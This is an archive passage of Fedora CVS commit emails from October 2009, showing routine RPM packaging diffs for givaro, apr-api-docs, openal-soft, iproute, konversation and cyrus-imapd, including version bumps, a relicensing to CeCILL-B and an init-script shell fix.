 - Add search
 



From mycae at fedoraproject.org  Fri Oct  9 11:57:59 2009
From: mycae at fedoraproject.org (mycae)
Date: Fri,  9 Oct 2009 11:57:59 +0000 (UTC)
Subject: rpms/givaro/F-10 .cvsignore, 1.2, 1.3 givaro.spec, 1.1, 1.2 sources,
	1.2, 1.3
Message-ID: <20091009115759.59F6F11C00C1@cvs1.fedora.phx.redhat.com>

Author: mycae

Update of /cvs/pkgs/rpms/givaro/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6719

Modified Files:
	.cvsignore givaro.spec sources 
Log Message:
* Update to 3.3.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/givaro/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	14 Sep 2009 10:11:02 -0000	1.2
+++ .cvsignore	9 Oct 2009 11:57:59 -0000	1.3
@@ -1 +1 @@
-givaro-3.2.15rc1.tar.gz
+givaro-3.3.0.tar.gz


Index: givaro.spec
===================================================================
RCS file: /cvs/pkgs/rpms/givaro/F-10/givaro.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- givaro.spec	14 Sep 2009 10:11:02 -0000	1.1
+++ givaro.spec	9 Oct 2009 11:57:59 -0000	1.2
@@ -1,13 +1,12 @@
 Name:		givaro
-Version:	3.2.15
-Release:	0.2.rc1%{?dist}
+Version:	3.3.0
+Release:	1%{?dist}
 Summary:	C++ library for arithmetic and algebraic computations
 Group:		Development/Libraries
 
-#GPL boilerplate missing. Upstream has been notified via email
-License:	GPL+
+License:	CeCILL-B
 URL:		http://ljk.imag.fr/CASYS/LOGICIELS/givaro/
-Source0:	http://ljk.imag.fr/CASYS/LOGICIELS/givaro/givaro-%{version}rc1.tar.gz
+Source0:	http://ljk.imag.fr/CASYS/LOGICIELS/givaro/givaro-%{version}.tar.gz
 Source1:	givaro-config.h
 Patch0:		givaro-config-script.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -52,6 +51,13 @@ The static libraries for using %{name} f
 cp %{SOURCE1} new-givaro-config.h
 
 sed -i -e 's|^#define __GIVARO_VERSION.*$|#define __GIVARO_VERSION  "%{version}"|' new-givaro-config.h
+
+for i in Licence_CeCILL-B_V1-fr.txt Licence_CeCILL-B_V1-en.txt;
+do
+	iconv -f  iso8859-1 -t utf-8 $i > $i.new && \
+	touch -r $i $i.new && \
+	mv $i.new $i
+done
 %patch0
 
 
@@ -87,7 +93,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc COPYING
+%doc COPYRIGHT Licence_CeCILL-B_V1-en.txt Licence_CeCILL-B_V1-fr.txt
 %{_libdir}/lib%{name}.so.*
 
 
@@ -107,6 +113,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 09 2009 D Haley <mycae(a!t)yahoo.com> - 3.3.0-1
+- Update to 3.3.0
+- Relicence per CeCILL-B
+
 * Sun Sep 12 2009 D Haley <mycae(a!t)yahoo.com> - 3.2.15-0.2.rc1
 - Change to GPL+ from GPL2 per bugzilla comment
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/givaro/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	14 Sep 2009 10:11:02 -0000	1.2
+++ sources	9 Oct 2009 11:57:59 -0000	1.3
@@ -1 +1 @@
-f0b754ee54bcac0e866f2979b57393ba  givaro-3.2.15rc1.tar.gz
+b0cf70f7d7fa4cdccfa9271a897b1086  givaro-3.3.0.tar.gz



From bojan at fedoraproject.org  Fri Oct  9 11:58:12 2009
From: bojan at fedoraproject.org (bojan)
Date: Fri,  9 Oct 2009 11:58:12 +0000 (UTC)
Subject: rpms/apr-api-docs/F-10 apr-api-docs.spec,1.13,1.14
Message-ID: <20091009115812.883B111C00C1@cvs1.fedora.phx.redhat.com>

Author: bojan

Update of /cvs/pkgs/rpms/apr-api-docs/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6824

Modified Files:
	apr-api-docs.spec 
Log Message:
Bump up to 1.3.9.


Index: apr-api-docs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/apr-api-docs/F-10/apr-api-docs.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- apr-api-docs.spec	3 Sep 2009 09:18:21 -0000	1.13
+++ apr-api-docs.spec	9 Oct 2009 11:58:12 -0000	1.14
@@ -1,6 +1,6 @@
 Name:           apr-api-docs
-Version:        1.3.8
-Release:        2%{?dist}
+Version:        1.3.9
+Release:        1%{?dist}
 Summary:        Apache Portable Runtime API documentation
 
 Group:          Development/Tools
@@ -60,6 +60,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc %{_docdir}/apr-%{version}/api-docs/*
 
 %changelog
+* Fri Oct  9 2009 Bojan Smojver <bojan at rexursive.com> 1.3.9-1
+- Bump up to 1.3.9
+
 * Tue Sep  3 2009 Bojan Smojver <bojan at rexursive.com> 1.3.8-2
 - Add search
 



From mycae at fedoraproject.org  Fri Oct  9 11:58:46 2009
From: mycae at fedoraproject.org (mycae)
Date: Fri,  9 Oct 2009 11:58:46 +0000 (UTC)
Subject: rpms/givaro/F-11 givaro.spec,1.1,1.2
Message-ID: <20091009115846.3511911C00C1@cvs1.fedora.phx.redhat.com>

Author: mycae

Update of /cvs/pkgs/rpms/givaro/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7061

Modified Files:
	givaro.spec 
Log Message:
*Update to 3.3.0




Index: givaro.spec
===================================================================
RCS file: /cvs/pkgs/rpms/givaro/F-11/givaro.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- givaro.spec	14 Sep 2009 10:13:32 -0000	1.1
+++ givaro.spec	9 Oct 2009 11:58:46 -0000	1.2
@@ -1,13 +1,12 @@
 Name:		givaro
-Version:	3.2.15
-Release:	0.2.rc1%{?dist}
+Version:	3.3.0
+Release:	1%{?dist}
 Summary:	C++ library for arithmetic and algebraic computations
 Group:		Development/Libraries
 
-#GPL boilerplate missing. Upstream has been notified via email
-License:	GPL+
+License:	CeCILL-B
 URL:		http://ljk.imag.fr/CASYS/LOGICIELS/givaro/
-Source0:	http://ljk.imag.fr/CASYS/LOGICIELS/givaro/givaro-%{version}rc1.tar.gz
+Source0:	http://ljk.imag.fr/CASYS/LOGICIELS/givaro/givaro-%{version}.tar.gz
 Source1:	givaro-config.h
 Patch0:		givaro-config-script.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -52,6 +51,13 @@ The static libraries for using %{name} f
 cp %{SOURCE1} new-givaro-config.h
 
 sed -i -e 's|^#define __GIVARO_VERSION.*$|#define __GIVARO_VERSION  "%{version}"|' new-givaro-config.h
+
+for i in Licence_CeCILL-B_V1-fr.txt Licence_CeCILL-B_V1-en.txt;
+do
+	iconv -f  iso8859-1 -t utf-8 $i > $i.new && \
+	touch -r $i $i.new && \
+	mv $i.new $i
+done
 %patch0
 
 
@@ -87,7 +93,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc COPYING
+%doc COPYRIGHT Licence_CeCILL-B_V1-en.txt Licence_CeCILL-B_V1-fr.txt
 %{_libdir}/lib%{name}.so.*
 
 
@@ -107,6 +113,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 09 2009 D Haley <mycae(a!t)yahoo.com> - 3.3.0-1
+- Update to 3.3.0
+- Relicence per CeCILL-B
+
 * Sun Sep 12 2009 D Haley <mycae(a!t)yahoo.com> - 3.2.15-0.2.rc1
 - Change to GPL+ from GPL2 per bugzilla comment
 



From mycae at fedoraproject.org  Fri Oct  9 11:59:12 2009
From: mycae at fedoraproject.org (mycae)
Date: Fri,  9 Oct 2009 11:59:12 +0000 (UTC)
Subject: rpms/givaro/F-12 givaro.spec,1.1,1.2
Message-ID: <20091009115912.6508E11C00C1@cvs1.fedora.phx.redhat.com>

Author: mycae

Update of /cvs/pkgs/rpms/givaro/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7504

Modified Files:
	givaro.spec 
Log Message:
*Update to 3.3.0




Index: givaro.spec
===================================================================
RCS file: /cvs/pkgs/rpms/givaro/F-12/givaro.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- givaro.spec	14 Sep 2009 10:18:15 -0000	1.1
+++ givaro.spec	9 Oct 2009 11:59:12 -0000	1.2
@@ -1,13 +1,12 @@
 Name:		givaro
-Version:	3.2.15
-Release:	0.2.rc1%{?dist}
+Version:	3.3.0
+Release:	1%{?dist}
 Summary:	C++ library for arithmetic and algebraic computations
 Group:		Development/Libraries
 
-#GPL boilerplate missing. Upstream has been notified via email
-License:	GPL+
+License:	CeCILL-B
 URL:		http://ljk.imag.fr/CASYS/LOGICIELS/givaro/
-Source0:	http://ljk.imag.fr/CASYS/LOGICIELS/givaro/givaro-%{version}rc1.tar.gz
+Source0:	http://ljk.imag.fr/CASYS/LOGICIELS/givaro/givaro-%{version}.tar.gz
 Source1:	givaro-config.h
 Patch0:		givaro-config-script.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -52,6 +51,13 @@ The static libraries for using %{name} f
 cp %{SOURCE1} new-givaro-config.h
 
 sed -i -e 's|^#define __GIVARO_VERSION.*$|#define __GIVARO_VERSION  "%{version}"|' new-givaro-config.h
+
+for i in Licence_CeCILL-B_V1-fr.txt Licence_CeCILL-B_V1-en.txt;
+do
+	iconv -f  iso8859-1 -t utf-8 $i > $i.new && \
+	touch -r $i $i.new && \
+	mv $i.new $i
+done
 %patch0
 
 
@@ -87,7 +93,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc COPYING
+%doc COPYRIGHT Licence_CeCILL-B_V1-en.txt Licence_CeCILL-B_V1-fr.txt
 %{_libdir}/lib%{name}.so.*
 
 
@@ -107,6 +113,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 09 2009 D Haley <mycae(a!t)yahoo.com> - 3.3.0-1
+- Update to 3.3.0
+- Relicence per CeCILL-B
+
 * Sun Sep 12 2009 D Haley <mycae(a!t)yahoo.com> - 3.2.15-0.2.rc1
 - Change to GPL+ from GPL2 per bugzilla comment
 



From mycae at fedoraproject.org  Fri Oct  9 11:59:32 2009
From: mycae at fedoraproject.org (mycae)
Date: Fri,  9 Oct 2009 11:59:32 +0000 (UTC)
Subject: rpms/givaro/devel givaro.spec,1.1,1.2
Message-ID: <20091009115932.A043311C00C1@cvs1.fedora.phx.redhat.com>

Author: mycae

Update of /cvs/pkgs/rpms/givaro/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7636

Modified Files:
	givaro.spec 
Log Message:
* Update to 3.3.0




Index: givaro.spec
===================================================================
RCS file: /cvs/pkgs/rpms/givaro/devel/givaro.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- givaro.spec	14 Sep 2009 10:18:15 -0000	1.1
+++ givaro.spec	9 Oct 2009 11:59:32 -0000	1.2
@@ -1,13 +1,12 @@
 Name:		givaro
-Version:	3.2.15
-Release:	0.2.rc1%{?dist}
+Version:	3.3.0
+Release:	1%{?dist}
 Summary:	C++ library for arithmetic and algebraic computations
 Group:		Development/Libraries
 
-#GPL boilerplate missing. Upstream has been notified via email
-License:	GPL+
+License:	CeCILL-B
 URL:		http://ljk.imag.fr/CASYS/LOGICIELS/givaro/
-Source0:	http://ljk.imag.fr/CASYS/LOGICIELS/givaro/givaro-%{version}rc1.tar.gz
+Source0:	http://ljk.imag.fr/CASYS/LOGICIELS/givaro/givaro-%{version}.tar.gz
 Source1:	givaro-config.h
 Patch0:		givaro-config-script.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -52,6 +51,13 @@ The static libraries for using %{name} f
 cp %{SOURCE1} new-givaro-config.h
 
 sed -i -e 's|^#define __GIVARO_VERSION.*$|#define __GIVARO_VERSION  "%{version}"|' new-givaro-config.h
+
+for i in Licence_CeCILL-B_V1-fr.txt Licence_CeCILL-B_V1-en.txt;
+do
+	iconv -f  iso8859-1 -t utf-8 $i > $i.new && \
+	touch -r $i $i.new && \
+	mv $i.new $i
+done
 %patch0
 
 
@@ -87,7 +93,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc COPYING
+%doc COPYRIGHT Licence_CeCILL-B_V1-en.txt Licence_CeCILL-B_V1-fr.txt
 %{_libdir}/lib%{name}.so.*
 
 
@@ -107,6 +113,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 09 2009 D Haley <mycae(a!t)yahoo.com> - 3.3.0-1
+- Update to 3.3.0
+- Relicence per CeCILL-B
+
 * Sun Sep 12 2009 D Haley <mycae(a!t)yahoo.com> - 3.2.15-0.2.rc1
 - Change to GPL+ from GPL2 per bugzilla comment
 



From jwrdegoede at fedoraproject.org  Fri Oct  9 12:03:44 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Fri,  9 Oct 2009 12:03:44 +0000 (UTC)
Subject: rpms/openal-soft/F-12 .cvsignore, 1.3, 1.4 openal-soft.spec, 1.5,
	1.6 sources, 1.3, 1.4
Message-ID: <20091009120345.0126E11C00C1@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/openal-soft/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9293

Modified Files:
	.cvsignore openal-soft.spec sources 
Log Message:
* Fri Oct  9 2009 Hans de Goede <hdegoede at redhat.com> - 1.9.563-1.d6e439244ae00a1750f0dc8b249f47efb4967a23git
- Update to 1.9.563 + some fixes from git
- This fixes:
  - Not having any sound in chromium-bsu 
  - Various openal using programs hanging on exit



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/openal-soft/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	20 Aug 2009 22:33:47 -0000	1.3
+++ .cvsignore	9 Oct 2009 12:03:44 -0000	1.4
@@ -1 +1 @@
-openal-soft-1.8.466.487f0dde7593144ceabd817306500465caf7602a.tar.gz
+openal-soft-d6e439244ae00a1750f0dc8b249f47efb4967a23.tar.gz


Index: openal-soft.spec
===================================================================
RCS file: /cvs/extras/rpms/openal-soft/F-12/openal-soft.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- openal-soft.spec	20 Aug 2009 22:56:37 -0000	1.5
+++ openal-soft.spec	9 Oct 2009 12:03:44 -0000	1.6
@@ -1,15 +1,15 @@
-%global revision 487f0dde7593144ceabd817306500465caf7602a
+%global revision d6e439244ae00a1750f0dc8b249f47efb4967a23
 
 Name:		openal-soft
-Version:	1.8.466
-Release:	9.%{revision}git%{?dist}
+Version:	1.9.563
+Release:	1.%{revision}git%{?dist}
 Summary:	Open Audio Library
 
 Group:		System Environment/Libraries
 License:	LGPLv2+
 URL:		http://kcat.strangesoft.net/openal.html
-#http://repo.or.cz/w/openal-soft.git?a=snapshot;h=487f0dde7593144ceabd817306500465caf7602a;sf=tgz
-Source0:	openal-soft-%{version}.%{revision}.tar.gz
+#http://repo.or.cz/w/openal-soft.git?a=snapshot;h=%{revision};sf=tgz
+Source0:	openal-soft-%{revision}.tar.gz
 Patch1:		openal-soft.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -75,6 +75,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/openal.pc
 
 %changelog
+* Fri Oct  9 2009 Hans de Goede <hdegoede at redhat.com> - 1.9.563-1.d6e439244ae00a1750f0dc8b249f47efb4967a23git
+- Update to 1.9.563 + some fixes from git
+- This fixes:
+  - Not having any sound in chromium-bsu 
+  - Various openal using programs hanging on exit
+
 * Fri Aug 21 2009 Thomas Kowaliczek <linuxdonald at linuxdonald.de> - 1.8.466-9.487f0dde7593144ceabd817306500465caf7602agit
 - Fixed version info
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/openal-soft/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	20 Aug 2009 22:33:47 -0000	1.3
+++ sources	9 Oct 2009 12:03:44 -0000	1.4
@@ -1 +1 @@
-267db7ffed500030c4c95045ae17887d  openal-soft-1.8.466.487f0dde7593144ceabd817306500465caf7602a.tar.gz
+3856e99282a0e129b81a938867145fb5  openal-soft-d6e439244ae00a1750f0dc8b249f47efb4967a23.tar.gz



From mycae at fedoraproject.org  Fri Oct  9 12:08:28 2009
From: mycae at fedoraproject.org (mycae)
Date: Fri,  9 Oct 2009 12:08:28 +0000 (UTC)
Subject: rpms/givaro/F-11 .cvsignore,1.2,1.3 sources,1.2,1.3
Message-ID: <20091009120828.D7F4111C00C1@cvs1.fedora.phx.redhat.com>

Author: mycae

Update of /cvs/pkgs/rpms/givaro/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11037

Modified Files:
	.cvsignore sources 
Log Message:
* Commit new sources file




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/givaro/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	14 Sep 2009 10:13:32 -0000	1.2
+++ .cvsignore	9 Oct 2009 12:08:28 -0000	1.3
@@ -1 +1 @@
-givaro-3.2.15rc1.tar.gz
+givaro-3.3.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/givaro/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	14 Sep 2009 10:13:32 -0000	1.2
+++ sources	9 Oct 2009 12:08:28 -0000	1.3
@@ -1 +1 @@
-f0b754ee54bcac0e866f2979b57393ba  givaro-3.2.15rc1.tar.gz
+b0cf70f7d7fa4cdccfa9271a897b1086  givaro-3.3.0.tar.gz



From mycae at fedoraproject.org  Fri Oct  9 12:09:30 2009
From: mycae at fedoraproject.org (mycae)
Date: Fri,  9 Oct 2009 12:09:30 +0000 (UTC)
Subject: rpms/givaro/F-11 givaro.spec,1.2,1.3
Message-ID: <20091009120930.254B311C00C1@cvs1.fedora.phx.redhat.com>

Author: mycae

Update of /cvs/pkgs/rpms/givaro/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11362

Modified Files:
	givaro.spec 
Log Message:
* Tag bump



Index: givaro.spec
===================================================================
RCS file: /cvs/pkgs/rpms/givaro/F-11/givaro.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- givaro.spec	9 Oct 2009 11:58:46 -0000	1.2
+++ givaro.spec	9 Oct 2009 12:09:29 -0000	1.3
@@ -1,6 +1,6 @@
 Name:		givaro
 Version:	3.3.0
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	C++ library for arithmetic and algebraic computations
 Group:		Development/Libraries
 
@@ -113,6 +113,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 09 2009 D Haley <mycae(a!t)yahoo.com> - 3.3.0-2
+- Tag bymp
+
 * Fri Oct 09 2009 D Haley <mycae(a!t)yahoo.com> - 3.3.0-1
 - Update to 3.3.0
 - Relicence per CeCILL-B



From mmaslano at fedoraproject.org  Fri Oct  9 12:09:33 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Fri,  9 Oct 2009 12:09:33 +0000 (UTC)
Subject: rpms/iproute/devel iproute2-2.6.29-kernel.patch,NONE,1.1
Message-ID: <20091009120933.47A1011C00C1@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/iproute/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11384

Added Files:
	iproute2-2.6.29-kernel.patch 
Log Message:
Forget patch.


iproute2-2.6.29-kernel.patch:
 Makefile |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE iproute2-2.6.29-kernel.patch ---
diff -up iproute2-20091009/Makefile.kernel iproute2-20091009/Makefile
--- iproute2-20091009/Makefile.kernel	2009-09-21 10:26:11.000000000 +0200
+++ iproute2-20091009/Makefile	2009-10-09 12:27:03.687382422 +0200
@@ -6,6 +6,7 @@ CONFDIR=/etc/iproute2
 DOCDIR=/share/doc/iproute2
 MANDIR=/share/man
 ARPDDIR=/var/lib/arpd
+KERNEL_INCLUDE=/usr/include
 
 # Path to db_185.h include
 DBM_INCLUDE:=$(ROOTDIR)/usr/include



From mycae at fedoraproject.org  Fri Oct  9 12:10:36 2009
From: mycae at fedoraproject.org (mycae)
Date: Fri,  9 Oct 2009 12:10:36 +0000 (UTC)
Subject: rpms/givaro/F-12 .cvsignore, 1.2, 1.3 givaro.spec, 1.2, 1.3 sources,
	1.2, 1.3
Message-ID: <20091009121036.56EA011C02A0@cvs1.fedora.phx.redhat.com>

Author: mycae

Update of /cvs/pkgs/rpms/givaro/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11776

Modified Files:
	.cvsignore givaro.spec sources 
Log Message:
* Commit sources
* Tag bump




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/givaro/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	14 Sep 2009 10:18:15 -0000	1.2
+++ .cvsignore	9 Oct 2009 12:10:36 -0000	1.3
@@ -1 +1 @@
-givaro-3.2.15rc1.tar.gz
+givaro-3.3.0.tar.gz


Index: givaro.spec
===================================================================
RCS file: /cvs/pkgs/rpms/givaro/F-12/givaro.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- givaro.spec	9 Oct 2009 11:59:12 -0000	1.2
+++ givaro.spec	9 Oct 2009 12:10:36 -0000	1.3
@@ -1,6 +1,6 @@
 Name:		givaro
 Version:	3.3.0
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	C++ library for arithmetic and algebraic computations
 Group:		Development/Libraries
 
@@ -113,6 +113,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 09 2009 D Haley <mycae(a!t)yahoo.com> - 3.3.0-2
+- Tag bump
+
 * Fri Oct 09 2009 D Haley <mycae(a!t)yahoo.com> - 3.3.0-1
 - Update to 3.3.0
 - Relicence per CeCILL-B


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/givaro/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	14 Sep 2009 10:18:15 -0000	1.2
+++ sources	9 Oct 2009 12:10:36 -0000	1.3
@@ -1 +1 @@
-f0b754ee54bcac0e866f2979b57393ba  givaro-3.2.15rc1.tar.gz
+b0cf70f7d7fa4cdccfa9271a897b1086  givaro-3.3.0.tar.gz



From rdieter at fedoraproject.org  Fri Oct  9 12:14:37 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  9 Oct 2009 12:14:37 +0000 (UTC)
Subject: rpms/konversation/devel .cvsignore, 1.12, 1.13 konversation.spec,
	1.36, 1.37 sources, 1.12, 1.13
Message-ID: <20091009121437.C1A7C11C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/konversation/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13389

Modified Files:
	.cvsignore konversation.spec sources 
Log Message:
* Fri Oct 09 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-1
- konversation-1.2 (final)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/konversation/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	3 Oct 2009 13:57:31 -0000	1.12
+++ .cvsignore	9 Oct 2009 12:14:37 -0000	1.13
@@ -1 +1 @@
-konversation-1.2-rc1.tar.bz2
+konversation-1.2.tar.bz2


Index: konversation.spec
===================================================================
RCS file: /cvs/pkgs/rpms/konversation/devel/konversation.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- konversation.spec	3 Oct 2009 13:57:32 -0000	1.36
+++ konversation.spec	9 Oct 2009 12:14:37 -0000	1.37
@@ -1,9 +1,7 @@
 
-%define pre rc1 
-
 Name:           konversation
 Version:        1.2
-Release:        0.12.%{pre}%{?dist}
+Release:        1%{?dist}
 Summary:        A user friendly IRC client
 
 Group:          Applications/Internet
@@ -89,6 +87,9 @@ fi
 
 
 %changelog
+* Fri Oct 09 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-1
+- konversation-1.2 (final)
+
 * Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.2-0.12.rc1
 - konversation-1.2-rc1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/konversation/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	3 Oct 2009 13:57:32 -0000	1.12
+++ sources	9 Oct 2009 12:14:37 -0000	1.13
@@ -1 +1 @@
-9a672517399354296ec13a9368cbfcb8  konversation-1.2-rc1.tar.bz2
+823d06b20161526bb20bd50086a73af1  konversation-1.2.tar.bz2



From mhlavink at fedoraproject.org  Fri Oct  9 12:15:05 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Fri,  9 Oct 2009 12:15:05 +0000 (UTC)
Subject: rpms/cyrus-imapd/devel cyrus-imapd.init, 1.3, 1.4 cyrus-imapd.spec, 
	1.61, 1.62
Message-ID: <20091009121505.F2C5711C00C1@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/cyrus-imapd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13536

Modified Files:
	cyrus-imapd.init cyrus-imapd.spec 
Log Message:
* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 2.3.15-3
- fix cyrus user shell for db import (#528126)



Index: cyrus-imapd.init
===================================================================
RCS file: /cvs/extras/rpms/cyrus-imapd/devel/cyrus-imapd.init,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- cyrus-imapd.init	18 Sep 2009 16:12:36 -0000	1.3
+++ cyrus-imapd.init	9 Oct 2009 12:15:05 -0000	1.4
@@ -60,7 +60,7 @@ start() {
     if [ $QUICK -eq 0 ]; then
       echo -n $"Importing $prog databases: "
       cd $CONFIGDIRECTORY
-      runuser - cyrus -c "umask 166 ; /usr/lib/cyrus-imapd/cvt_cyrusdb_all > ${CONFIGDIRECTORY}/rpm/db_import.log 2>&1" < /dev/null
+      runuser - cyrus -s /bin/sh -c "umask 166 ; /usr/lib/cyrus-imapd/cvt_cyrusdb_all > ${CONFIGDIRECTORY}/rpm/db_import.log 2>&1" < /dev/null
       RETVAL=$?
       if [ $RETVAL -eq 0 ]; then
         success $"$prog importing databases"
@@ -92,7 +92,7 @@ stop() {
       echo
       echo -n $"Exporting $prog databases: "
       cd $CONFIGDIRECTORY
-      runuser - cyrus -c "umask 166 ; /usr/lib/cyrus-imapd/cvt_cyrusdb_all export > ${CONFIGDIRECTORY}/rpm/db_export.log 2>&1" < /dev/null
+      runuser - cyrus -s /bin/sh -c "umask 166 ; /usr/lib/cyrus-imapd/cvt_cyrusdb_all export > ${CONFIGDIRECTORY}/rpm/db_export.log 2>&1" < /dev/null
       RETVAL2=$?
       if [ $RETVAL2 -eq 0 ]; then
         success $"$prog exporting databases"


Index: cyrus-imapd.spec
===================================================================
RCS file: /cvs/extras/rpms/cyrus-imapd/devel/cyrus-imapd.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- cyrus-imapd.spec	18 Sep 2009 16:12:36 -0000	1.61
+++ cyrus-imapd.spec	9 Oct 2009 12:15:05 -0000	1.62
@@ -1,6 +1,6 @@
 Name: cyrus-imapd
 Version: 2.3.15
-Release: 2%{?dist}
+Release: 3%{?dist}
 
 # ********************** BUILD TIME OPTIONS START **********************
 
@@ -529,10 +529,10 @@ fi
 %if %{SASLGROUP}
 /usr/sbin/groupadd -g %{gid} -r %{_saslgroup} 2> /dev/null || :
 /usr/sbin/useradd -c "Cyrus IMAP Server" -d %{_vardata} -g %{_cyrusgroup} \
-  -G %{_saslgroup} -s /bin/nologin -u %{uid} -r %{_cyrususer} 2> /dev/null || :
+  -G %{_saslgroup} -s /sbin/nologin -u %{uid} -r %{_cyrususer} 2> /dev/null || :
 %else
 /usr/sbin/useradd -c "Cyrus IMAP Server" -d %{_vardata} -g %{_cyrusgroup} \
-  -s /bin/nologin -u %{uid} -r %{_cyrususer} 2> /dev/null || :
+  -s /sbin/nologin -u %{uid} -r %{_cyrususer} 2> /dev/null || :
 %endif
 
 %post utils
@@ -731,6 +731,9 @@ fi
 %{_mandir}/man1/*
 
 %changelog
+* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 2.3.15-3
+- fix cyrus user shell for db import (#528126)
+
 * Fri Sep 18 2009 Michal Hlavinka <mhlavink at redhat.com> - 2.3.15-2
 - make init script LSB-compliant (#523227)
 



From harald at fedoraproject.org  Fri Oct  9 12:16:32 2009
From: harald at fedoraproject.org (Harald Hoyer)
